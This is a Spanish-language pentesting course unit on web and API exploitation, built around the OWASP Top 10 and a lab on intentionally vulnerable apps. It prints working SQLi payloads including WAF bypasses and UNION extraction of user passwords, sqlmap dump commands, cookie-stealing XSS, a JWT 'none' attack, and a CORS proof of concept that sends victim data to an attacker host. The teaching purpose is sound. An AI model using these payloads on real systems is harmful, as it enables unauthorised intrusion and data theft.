Unidad 3: Explotación Web y APIs 2026 🕷️

🎯 Objetivos de Aprendizaje
- Identificar 🔍 y explotar vulnerabilidades web modernas según OWASP Top 10.
- Auditar 🛠️ APIs REST y GraphQL identificando vulnerabilidades específicas.
- Ejecutar ⚔️ ataques avanzados como XSS, SQLi y bypasses de seguridad.
- Aplicar 🛡️ técnicas de pentesting web con herramientas profesionales.
📚 Contenido Teórico
3.1 OWASP Top 10 2025 🔐
El OWASP Top 10 es la referencia fundamental para seguridad web. La versión 2025 incluye:
| # | Categoría | Descripción | Severidad |
|---|---|---|---|
| A01 | Broken Access Control | Deficiencias en controls de autorización | Crítica 🔴 |
| A02 | Cryptographic Failures | Fallos en cifrado de datos sensibles | Alta 🟠 |
| A03 | Injection 💉 | Inyección SQL, NoSQL, OS command | Crítica 🔴 |
| A04 | Insecure Design | Falta de diseño seguro | Alta 🟠 |
| A05 | Security Misconfiguration 🛠️ | Configuraciones inseguras | Media 🟡 |
| A06 | Vulnerable Components | Componentes con vulnerabilidades | Alta 🟠 |
| A07 | Auth Failures 🔐 | Fallos en autenticación/gestión de sesiones | Alta 🟠 |
| A08 | Data Integrity Failures | Fallos en integridad de software/datos | Media 🟡 |
| A09 | Security Logging Failures | Logs insuficientes para detección | Media 🟡 |
| A10 | SSRF 🕷️ | Server-Side Request Forgery | Alta 🟠 |
A01: Broken Access Control 🛡️
Concepto: El usuario puede actuar fuera de su intención autorizada.
Ejemplos de ataque ⚔️: - Elevación de privilegios horizontal/vertical - IDOR (Insecure Direct Object Reference) 🐛 - Bypass de restricciones URL - Acceso a API sin verificación
Payloads de prueba 🛠️:
# IDOR
GET /api/user/1234 → GET /api/user/1235
# Bypass
GET /admin/deleteUser → POST /admin/deleteUser?_method=DELETE
# Path traversal
GET /files/../../etc/passwd
A02: Cryptographic Failures 🔐
Concepto: Fallos en la protección de datos sensibles.
Vulnerabilidades comunes 🐛: - Algoritmos débiles (MD5, SHA1) - Claves por defecto - Ausencia de cifrado - Certificados inválidos
Detección 🔍:
# SSL scan
sslscan target.com
# Test de certificados
curl -kv https://target.comA03: Injection 💉
Concepto: Envío de datos no confiables a un interprete.
Tipos: - SQL Injection 🗄️ - NoSQL Injection - OS Command Injection 💻 - LDAP Injection - XPath Injection
SQLi básico:
' OR '1'='1
' UNION SELECT NULL--
' AND 1=1--
SQLi bypass WAF 🚀:
/*!50000UNION*/ SELECT
/**/UNION/**/SELECT
%0aUNION%0aSELECT
A04: Insecure Design 📐
Falta de modelo de amenazas 🐛, no solo código inseguro: - Ausencia de revisión de diseño - APIs sin rate limiting - Procesos de negocio inseguros - Falta de segregación de datos
A05: Security Misconfiguration 🛠️
- Headers de seguridad faltantes
- Debug enabled en producción
- Paneles admin accesibles
- Credenciales por defecto
Verificación 🔍:
# Headers de seguridad
curl -I https://target.com
# Información de versión
curl -v https://target.com3.2 APIs Security 🔐
REST API Vulnerabilities 🕷️
| Vulnerabilidad | Descripción | Impacto |
|---|---|---|
| BOLA | Broken Object Level Authorization | Acceso a datos de otros ⚠️ |
| BFLA | Broken Function Level Authorization | Ejecución de funciones no autorizadas ⚠️ |
| BEE | Bulk Assignment | Exposición masiva de campos |
| Mass Assignment | Asignación masiva | Modificación de datos protegidos |
Testing 🛠️:
# Enumerar métodos
curl -X OPTIONS https://api.target.com -v
# BOLA - modificar ID
curl -X GET https://api.target.com/users/1
curl -X GET https://api.target.com/users/2GraphQL Injection 💉
Introspection enabled 🔍:
query {
__schema {
types {
name
fields {
name
}
}
}
}Injection ⚔️:
query {
user(id: "1' OR '1'='1") {
name
}
}Bypass de depth limiting 🚀:
query {
users1 { name }
users2 { name }
# ... múltiples anidados
}API Authentication Bypass 🔐
- JWTNone algorithm 🐛
- Weak JWT signing keys
- Token expiration not verified
- OAuth misconfigurations
JWT attack 💰:
# Cambiar alg a "none"
{"alg": "none", "typ": "JWT"}3.3 Web Attacks 🕷️
XSS Avanzado 🚀
Tipos: - Reflected XSS - Stored XSS - DOM-based XSS - Self-XSS - Mutation XSS
Payloads ⚔️:
<script>alert(document.cookie)</script>
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(document.cookie)">DOM-based 🐛:
// URL: example.com/search?q=<img src=x onerror=alert(1)>
document.write(location.search);SQL Injection 💉 — Técnicas Avanzadas 🚀
SQLi clásico y variantes de bypass:
' OR 1=1--
' OR 'a'='a
' OR 1=1 #
" OR "1"="1
/**/UNION/**/SELECT/**/
Blind SQLi basado en tiempo (Time-Based) ⏱️:
Cuando la aplicación no devuelve datos ni errores visibles, se puede inferir información midiendo el tiempo de respuesta del servidor.
-- MySQL: condicional de 5 segundos si el primer char del usuario es 'a'
' AND IF(SUBSTRING(user(),1,1)='a', SLEEP(5), 0)--
-- MSSQL
' WAITFOR DELAY '0:0:5'--
-- PostgreSQL
'; SELECT pg_sleep(5)--
-- Oracle
' AND 1=(SELECT 1 FROM DUAL WHERE ROWNUM=1 AND (SELECT UPPER(banner) FROM v$version WHERE ROWNUM=1) LIKE 'ORACLE%')--Blind SQLi basado en errores (Error-Based) 💥:
-- MySQL: extrae la versión provocando un error XPATH
' AND extractvalue(1, concat(0x7e, version()))--
-- MSSQL: extrae el nombre de la base de datos
' AND 1=CONVERT(int,(SELECT DB_NAME()))--
-- Oracle: CTXSYS.DRITHSX.SN no existe → el mensaje de error incluye el valor
' AND 1=CTXSYS.DRITHSX.SN(user,1)--Extracción de datos con UNION SELECT 📊:
-- 1. Detectar número de columnas
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- ← error aquí → hay 2 columnas
-- 2. Identificar columnas con tipo string
' UNION SELECT NULL, NULL--
' UNION SELECT 'a', NULL--
-- 3. Extraer datos
' UNION SELECT table_name, NULL FROM information_schema.tables--
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username, password FROM users--Automatización con SQLmap 🛠️:
# Detección básica
sqlmap -u "http://target.com/item?id=1"
# POST form
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"
# Dump de base de datos
sqlmap -u "http://target.com/item?id=1" --dbs
sqlmap -u "http://target.com/item?id=1" -D dbname --tables
sqlmap -u "http://target.com/item?id=1" -D dbname -T users --dump
# Bypass WAF con tamper scripts
sqlmap -u "http://target.com/item?id=1" --tamper=space2comment,charencodeCSRF y CORS 🛡️
CSRF Token bypass 🐛: - Token en GET (visible en URL) - Token no ligado a sesión - Predictable token
CORS Misconfiguration ⚠️:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Seguridad de APIs 🛡️ — Configuraciones Erróneas Comunes 🐛
CORS mal configurado — explotación ⚔️:
Si el servidor acepta cualquier origen con credenciales, un atacante puede leer respuestas de API autenticadas:
// PoC: leer /api/me desde origen del atacante
fetch('https://victima.com/api/me', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://atacante.com/exfil?d=' + JSON.stringify(d)));Detección de CORS 🔍:
curl -H "Origin: https://evil.com" -I https://api.target.com/endpoint
# Buscar: Access-Control-Allow-Origin: https://evil.com
# Buscar: Access-Control-Allow-Credentials: trueSecurity Headers ausentes 🔐 — verificación rápida 🔍:
curl -I https://target.com | grep -iE "x-frame-options|content-security-policy|x-content-type|strict-transport"Headers críticos 🛡️: - Content-Security-Policy 🛡️: previene XSS - X-Frame-Options: DENY: previene clickjacking - X-Content-Type-Options: nosniff: previene MIME sniffing - Strict-Transport-Security 🔐: fuerza HTTPS
🛠️ Herramientas
| Herramienta | Propósito | Instalación |
|---|---|---|
| Burp Suite Community 🕷️ | Proxy web | java -jar burpsuite_community.jar |
| OWASP ZAP 🔍 | Scanner automatizado | zaproxy.org |
| SQLmap 💉 | SQL Injection automation | sqlmap -u target |
| ffuf 🎯 | Fuzzing web | ffuf -u target/FUZZ |
| Postman 🧪 | Testing de APIs | postman.com |
| Nikto 🔍 | Scanner de vulnerabilidades | nikto -h target |
| Amass 🔍 | Enumeración de subdominios | amass enum -d target |
🔬 Laboratorio
Ver
labs/lab-unidad3.mdpara el escenario completo.
Escenario 🎯: Auditear OWASP WebGoat o aplicación vulnerable en Docker. Cubrir: - SQLi 💉 en formularios de login - XSS 🕷️ reflected y stored - IDOR 🐛 en cambia de perfil - GraphQL 💉 introspection y injection
Entregable 📄: Reporte técnico con hallazgos, PoC y recomendaciones.
📚 Recursos Adicionales
- OWASP Web Security Testing Guide v4.2 📖 — guía exhaustiva de pruebas de seguridad web
- PortSwigger Web Security Academy 🎓 — laboratorios gratuitos de Burp Suite para SQLi, XSS, CSRF, CORS y más
- OWASP API Security Top 10 🔐 — estándar de referencia para vulnerabilidades en APIs REST y GraphQL
- SQLmap Documentation 📖 — referencia oficial de la herramienta de automatización de inyección SQL
- OWASP Juice Shop 🔬 — aplicación intencionalmente vulnerable para practicar OWASP Top 10
- HackTheBox: Web Challenges ⚔️ — retos de aplicaciones web de dificultad progresiva